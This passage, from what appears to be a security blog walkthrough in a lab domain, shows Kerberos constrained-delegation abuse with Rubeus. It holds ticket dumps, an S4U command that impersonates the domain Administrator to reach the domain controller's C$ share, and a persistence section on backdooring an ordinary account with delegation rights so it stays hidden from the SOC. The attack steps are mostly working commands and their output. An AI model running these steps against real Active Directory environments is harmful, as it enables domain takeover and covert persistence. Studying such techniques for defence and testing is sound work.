      BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
      b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
      8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
      BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
      rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
      wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
      RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
      04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
      AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
      ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=

[*] Ticket written to srv.tgt


  ServiceName           :  krbtgt/windomain.local
  ServiceRealm          :  WINDOMAIN.LOCAL
  UserName              :  srv$
  UserRealm             :  WINDOMAIN.LOCAL
  StartTime             :  9/25/2020 6:05:07 PM
  EndTime               :  9/26/2020 4:05:07 AM
  RenewTill             :  10/2/2020 6:05:07 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  +tOIJhvW49dlmW3XdmSWGw==
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then this TGT will allow us to initiate the &lt;strong&gt;S4U2Self&lt;/strong&gt;. Then the &lt;strong&gt;S4U2Proxy&lt;/strong&gt; will intervene as explained previously for the &lt;em&gt;CIFS&lt;/em&gt; service (be aware of &lt;em&gt;/altservice:cifs&lt;/em&gt;) :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: &apos;srv$@WINDOMAIN.LOCAL&apos;
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for &apos;Administrator@WINDOMAIN.LOCAL&apos; to &apos;srv$@WINDOMAIN.LOCAL&apos;
[*] base64(ticket.kirbi):

      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
      QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==

[+] Ticket successfully imported!
[*] Impersonating user &apos;Administrator&apos; to target SPN &apos;TIME/DC&apos;
[*]   Final ticket will be for the alternate service &apos;cifs&apos;
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: &apos;TIME/DC&apos;
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name &apos;cifs&apos;
[*] base64(ticket.kirbi) for SPN &apos;cifs/dc&apos;:

      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
      TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We do have our service ticket for &lt;strong&gt;CIFS/DC&lt;/strong&gt; in the name of &lt;strong&gt;WINDOMAIN\Administrator&lt;/strong&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; klist
...
#1&amp;gt;     Client: Administrator @ WINDOMAIN.LOCAL
        Server: cifs/dc @ WINDOMAIN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -&amp;gt; forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/25/2020 18:05:46 (local)
        End Time:   9/26/2020 4:05:07 (local)
        Renew Time: 10/2/2020 18:05:07 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let’s test it out:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt;dir \\DC\C$
 Volume in drive \\DC\C$ is Windows 2019
 Volume Serial Number is 28C8-9A14

 Directory of \\DC\C$

09/27/2020  08:50 AM    &amp;lt;DIR&amp;gt;          PerfLogs
09/27/2020  08:06 AM    &amp;lt;DIR&amp;gt;          Program Files
09/27/2020  08:00 AM    &amp;lt;DIR&amp;gt;          Program Files (x86)
10/20/2020  01:07 PM    &amp;lt;DIR&amp;gt;          tmp
09/27/2020  08:00 AM    &amp;lt;DIR&amp;gt;          Users
10/20/2020  01:26 PM    &amp;lt;SYMLINKD&amp;gt;     vagrant [\\vboxsvr\vagrant]
10/20/2020  01:10 PM    &amp;lt;DIR&amp;gt;          Windows
               0 File(s)              0 bytes
               7 Dir(s)  36,839,563,264 bytes free
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;persistence&quot;&gt;&lt;a name=&quot;Persistence&quot;&gt;&lt;/a&gt;Persistence&lt;/h1&gt;

&lt;p&gt;To set the &lt;strong&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/strong&gt; attribute, we need the &lt;strong&gt;SeEnableDelegationPrivilege&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;An interesting persistence method consists, from a compromised user with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeEnableDelegationPrivilege&lt;/code&gt; privilege, in setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt; value on another lambda compromised user that can be delegated, and to edit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mDS-AllowedToDelegateTo&lt;/code&gt; field with the SPN &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CIFS/DC&lt;/code&gt; for example, allowing to replay the attack.&lt;/p&gt;

&lt;h2 id=&quot;t2a4d-on-an-arbitrary-domain-user&quot;&gt;T2A4D on an arbitrary domain user&lt;/h2&gt;

&lt;p&gt;You have compromised a privileged user, however the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory&quot;&gt;protected groups&lt;/a&gt; are supervised by the SOC, they have their security descriptors reset by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SDProp&lt;/code&gt; mechanism (&lt;a href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/22331.adminsdholder-protected-groups-and-security-descriptor-propagator.aspx&quot;&gt;AdminSDHolder&lt;/a&gt;), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).&lt;/p&gt;

&lt;p&gt;Let’s play this method in our lab. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user is the most banal domain user, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin01&lt;/code&gt; is what you have been sweating for the last few days:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WMIC&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Microsoft&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Windows&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Education&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C:\Windows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\Device\Harddisk0\Partition2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain\admin01&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;admin01&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Group&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Global&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Admins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Group&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Global&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NORMAL_ACCOUNT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ble.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Leponge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;USER_OBJECT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADAccountControl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-TrustedToAuthForDelegation&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$True&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
